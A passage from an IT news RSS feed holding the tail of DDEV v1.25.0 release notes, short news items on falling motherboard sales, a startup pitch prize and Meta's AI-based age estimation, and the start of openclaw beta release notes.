<li>feat(drupal12): Drupal 12 is now showing up in dev, support it, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852470928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8055" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8055/hovercard" href="https://github.com/ddev/ddev/issues/8055">#8055</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852526865" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8056" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8056/hovercard" href="https://github.com/ddev/ddev/pull/8056">#8056</a></li>
<li>fix(ddevapp): check file existence in isCustomConfigFile by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861764625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8061" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8061/hovercard" href="https://github.com/ddev/ddev/pull/8061">#8061</a></li>
<li>fix(router): bypass CheckRouterPorts when all ports appear busy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693813229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7921" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7921/hovercard" href="https://github.com/ddev/ddev/issues/7921">#7921</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3706631046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7927" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7927/hovercard" href="https://github.com/ddev/ddev/pull/7927">#7927</a></li>
<li>docs(drupal-cms): In the Drupal CMS quick-start, call drupal recipe:unpack by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/phenaproxima/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/phenaproxima">@phenaproxima</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3818313021" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8037" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8037/hovercard" href="https://github.com/ddev/ddev/pull/8037">#8037</a></li>
<li>chore(quickstart): enable tests for symfony, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3865724504" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8070" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8070/hovercard" href="https://github.com/ddev/ddev/pull/8070">#8070</a></li>
<li>feat(commands): add Windows support for DBeaver outside WSL, add cygwin to OSTYPE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
<li>build(docker): bump images to v1.25.0 for release, update MariaDB gpg key by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862122088" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8062" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8062/hovercard" href="https://github.com/ddev/ddev/pull/8062">#8062</a></li>
<li>fix(lagoon): bug in lagoon-sync means it fails if ~/.ssh/known_hosts doesn't exist [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866685126" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8072" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8072/hovercard" href="https://github.com/ddev/ddev/pull/8072">#8072</a></li>
<li>fix(healthcheck): resolve optional profiles to services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541461422" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7745" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7745/hovercard" href="https://github.com/ddev/ddev/pull/7745">#7745</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866582672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8071" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8071/hovercard" href="https://github.com/ddev/ddev/pull/8071">#8071</a></li>
<li>test(quickstart): fix Statamic check for login page by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867068600" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8073" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8073/hovercard" href="https://github.com/ddev/ddev/pull/8073">#8073</a></li>
<li>test: fix drupal.bats for drupal cms 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867749985" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8074" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8074/hovercard" href="https://github.com/ddev/ddev/pull/8074">#8074</a></li>
<li>test: add DDEV_EMBARGO_TESTS to skip tests via environment variable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871275997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8076" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8076/hovercard" href="https://github.com/ddev/ddev/issues/8076">#8076</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871353826" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8077" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8077/hovercard" href="https://github.com/ddev/ddev/pull/8077">#8077</a></li>
<li>build(webserver): fix check for MariaDB keyring [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872270038" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8078" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8078/hovercard" href="https://github.com/ddev/ddev/pull/8078">#8078</a></li>
<li>chore: update version history for v1.25.0, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716704952" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7934" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7934/hovercard" href="https://github.com/ddev/ddev/issues/7934">#7934</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872319811" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8079" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8079/hovercard" href="https://github.com/ddev/ddev/pull/8079">#8079</a></li>
<li>test: skip TestExtractCurlBody when httpbin.org is unavailable [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872748552" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8080" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8080/hovercard" href="https://github.com/ddev/ddev/pull/8080">#8080</a></li>
<li>test(openmage): add --no-security-blocking to openmage.bats for Composer 2.9 compatibility [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888458213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8092" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8092/hovercard" href="https://github.com/ddev/ddev/pull/8092">#8092</a></li>
<li>chore(github): update PR template by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887168991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8089" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8089/hovercard" href="https://github.com/ddev/ddev/pull/8089">#8089</a></li>
<li>fix(heidisql): get basename for postgres library, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3877835266" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8086" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8086/hovercard" href="https://github.com/ddev/ddev/issues/8086">#8086</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887098479" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8087" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8087/hovercard" href="https://github.com/ddev/ddev/pull/8087">#8087</a></li>
<li>fix(add-on): Re-add the output suggesting ddev restart after add-on, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887131086" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8088" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8088/hovercard" href="https://github.com/ddev/ddev/issues/8088">#8088</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887425861" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8090" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8090/hovercard" href="https://github.com/ddev/ddev/pull/8090">#8090</a></li>
<li>docs: add note on restarting for environment variable changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MurzNN/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MurzNN">@MurzNN</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3889575340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8093" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8093/hovercard" href="https://github.com/ddev/ddev/pull/8093">#8093</a></li>
<li>fix(add-on): normalize <code>ddev add-on get</code> output when there's no version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890604590" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8094" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8094/hovercard" href="https://github.com/ddev/ddev/pull/8094">#8094</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.24.10...v1.25.0"><tt>v1.24.10...v1.25.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Motherboard-Hersteller vor "Kollaps", weil immer weniger PCs bauen]]></title>
<description><![CDATA[Die Verkäufe von PC-Mainboards brechen 2026 um fast dreißig Prozent ein. Hersteller wie Asus und MSI senken ihre Prognosen massiv. Der enorme Chip-Bedarf aktueller KI-Server treibt die Hardware-Preise für Heimanwender rasant in die Höhe.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3496256/it-security-nachrichten/motherboard-hersteller-vor-kollaps-weil-immer-weniger-pcs-bauen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3496256/it-security-nachrichten/motherboard-hersteller-vor-kollaps-weil-immer-weniger-pcs-bauen/</guid>
<pubDate>Thu, 07 May 2026 16:09:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,158565.html"><img hspace="5" border="0" align="left" alt="Reparatur, defekt, Mainboard, Austausch, kaputt, Elektroschrott, Motherboard, werkzeug, Reparierbarkeit, Reparaturprogramm, Platine, Recht auf Reparatur, Ersatzteile, Right to Repair, reparieren, Ersatzteil, Löten, Lötkolben" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/74624.png"></a>
			Die Verkäufe von PC-Mainboards brechen 2026 um fast dreißig Prozent ein. Hersteller wie Asus und MSI senken ihre Prognosen massiv. Der enorme Chip-Bedarf aktueller KI-Server treibt die Hardware-Preise für Heimanwender rasant in die Höhe.			(<a href="https://winfuture.de/news,158565.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Tissue repair therapeutic Substrato wins best pitch at 2026 Start-Up Day]]></title>
<description><![CDATA[MetHealth CEO Dr Fiona McGillicuddy bagged the runner-up prize.
Read more: Tissue repair therapeutic Substrato wins best pitch at 2026 Start-Up Day]]></description>
<link>https://tsecurity.de/de/3495635/it-nachrichten/tissue-repair-therapeutic-substrato-wins-best-pitch-at-2026-start-up-day/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3495635/it-nachrichten/tissue-repair-therapeutic-substrato-wins-best-pitch-at-2026-start-up-day/</guid>
<pubDate>Thu, 07 May 2026 12:47:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>MetHealth CEO Dr Fiona McGillicuddy bagged the runner-up prize.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/start-ups/tissue-repair-therapeutic-substrato-wins-best-pitch-at-2026-start-up-day">Tissue repair therapeutic Substrato wins best pitch at 2026 Start-Up Day</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Kid With a Fake Mustache Tricked an Online Age-Verification Tool]]></title>
<description><![CDATA[To stop children from bypassing its age checks, Meta is revamping its age-verification tools with an AI system that analyzes images and videos for “visual cues,” such as height and bone structure. This article has been indexed from Security Latest…
Read more →
The post A Kid With a Fake Mustache ...]]></description>
<link>https://tsecurity.de/de/3494101/it-security-nachrichten/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3494101/it-security-nachrichten/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/</guid>
<pubDate>Wed, 06 May 2026 23:39:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>To stop children from bypassing its age checks, Meta is revamping its age-verification tools with an AI system that analyzes images and videos for “visual cues,” such as height and bone structure. This article has been indexed from Security Latest…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/">A Kid With a Fake Mustache Tricked an Online Age-Verification Tool</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Kid With a Fake Mustache Tricked an Online Age-Verification Tool]]></title>
<description><![CDATA[To stop children from bypassing its age checks, Meta is revamping its age-verification tools with an AI system that analyzes images and videos for “visual cues,” such as height and bone structure.]]></description>
<link>https://tsecurity.de/de/3494094/it-nachrichten/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3494094/it-nachrichten/a-kid-with-a-fake-mustache-tricked-an-online-age-verification-tool/</guid>
<pubDate>Wed, 06 May 2026 23:32:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[To stop children from bypassing its age checks, Meta is revamping its age-verification tools with an AI system that analyzes images and videos for “visual cues,” such as height and bone structure.]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Launches AI Age Checks for Teens Without Accuracy Data]]></title>
<description><![CDATA[Meta announced that Instagram and Facebook will use AI to scan photos and videos users have already posted, looking for visual signals, including height and bone structure, to estimate whether an account holder may be underage. The company has not published accuracy metrics alongside the announce...]]></description>
<link>https://tsecurity.de/de/3493699/it-nachrichten/meta-launches-ai-age-checks-for-teens-without-accuracy-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3493699/it-nachrichten/meta-launches-ai-age-checks-for-teens-without-accuracy-data/</guid>
<pubDate>Wed, 06 May 2026 19:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta announced that Instagram and Facebook will use AI to scan photos and videos users have already posted, looking for visual signals, including height and bone structure, to estimate whether an account holder may be underage. The company has not published accuracy metrics alongside the announcement. The system moves Meta beyond self-reported birthdates, a method […]</p>
<p>The post <a href="https://www.eweek.com/news/meta-ai-age-checks-teens-accuracy-data/">Meta Launches AI Age Checks for Teens Without Accuracy Data</a> appeared first on <a href="https://www.eweek.com/">eWEEK</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta to Detect Teenagers With Fake Birthdays Using AI-Powered Height, Bone Structure Analysis]]></title>
<description><![CDATA[Meta is adding new weapons to its age-detection arsenal to ensure teenagers and those under the age of 13 aren’t faking their date of birth to access the platform. The latest tool is an artificial intelligence (AI)-powered visual analysis system that goes through users’ photos and videos and pick...]]></description>
<link>https://tsecurity.de/de/3491711/it-nachrichten/meta-to-detect-teenagers-with-fake-birthdays-using-ai-powered-height-bone-structure-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3491711/it-nachrichten/meta-to-detect-teenagers-with-fake-birthdays-using-ai-powered-height-bone-structure-analysis/</guid>
<pubDate>Wed, 06 May 2026 09:18:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta is adding new weapons to its age-detection arsenal to ensure teenagers and those under the age of 13 aren’t faking their date of birth to access the platform. The latest tool is an artificial intelligence (AI)-powered visual analysis system that goes through users’ photos and videos and picks up on cues that might reveal the true age of the user.]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta is using AI bone structure analysis to detect and remove underaged users]]></title>
<description><![CDATA[The company is also expanding its teen account detection systems to Facebook.]]></description>
<link>https://tsecurity.de/de/3490041/it-nachrichten/meta-is-using-ai-bone-structure-analysis-to-detect-and-remove-underaged-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3490041/it-nachrichten/meta-is-using-ai-bone-structure-analysis-to-detect-and-remove-underaged-users/</guid>
<pubDate>Tue, 05 May 2026 17:02:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company is also expanding its teen account detection systems to Facebook.]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta will use AI to analyze height and bone structure to identify if users are underage]]></title>
<description><![CDATA[The visual analysis system is now operating in select countries, but Meta says it's working toward a broader rollout.]]></description>
<link>https://tsecurity.de/de/3489879/it-nachrichten/meta-will-use-ai-to-analyze-height-and-bone-structure-to-identify-if-users-are-underage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489879/it-nachrichten/meta-will-use-ai-to-analyze-height-and-bone-structure-to-identify-if-users-are-underage/</guid>
<pubDate>Tue, 05 May 2026 16:31:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The visual analysis system is now operating in select countries, but Meta says it's working toward a broader rollout.]]></content:encoded>
</item>
<item>
<title><![CDATA[Facebook and Instagram are using AI bone structure analysis to identify photos of kids]]></title>
<description><![CDATA[Facebook and Instagram have a new way to detect and remove users under 13: AI bone structure analysis. In a blog post on Tuesday, Meta - Facebook and Instagram's parent company - says its AI system will scan photos and videos posted to its platforms for "general themes and visual cues," including...]]></description>
<link>https://tsecurity.de/de/3489321/it-nachrichten/facebook-and-instagram-are-using-ai-bone-structure-analysis-to-identify-photos-of-kids/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489321/it-nachrichten/facebook-and-instagram-are-using-ai-bone-structure-analysis-to-identify-photos-of-kids/</guid>
<pubDate>Tue, 05 May 2026 13:16:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Facebook and Instagram have a new way to detect and remove users under 13: AI bone structure analysis. In a blog post on Tuesday, Meta - Facebook and Instagram's parent company - says its AI system will scan photos and videos posted to its platforms for "general themes and visual cues," including height and bone […]]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.4-beta.2]]></title>
<description><![CDATA[2026.5.4
Highlights

Google Meet/Voice Call: make Twilio dial-in joins speak through the realtime Gemini voice bridge with paced audio streaming, backpressure-aware buffering, barge-in queue clearing, and no TwiML fallback during realtime speech, giving Meet participants a much snappier OpenClaw ...]]></description>
<link>https://tsecurity.de/de/3488084/downloads/openclaw-202654-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3488084/downloads/openclaw-202654-beta2/</guid>
<pubDate>Tue, 05 May 2026 03:46:07 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.4</h2>
<h3>Highlights</h3>
<ul>
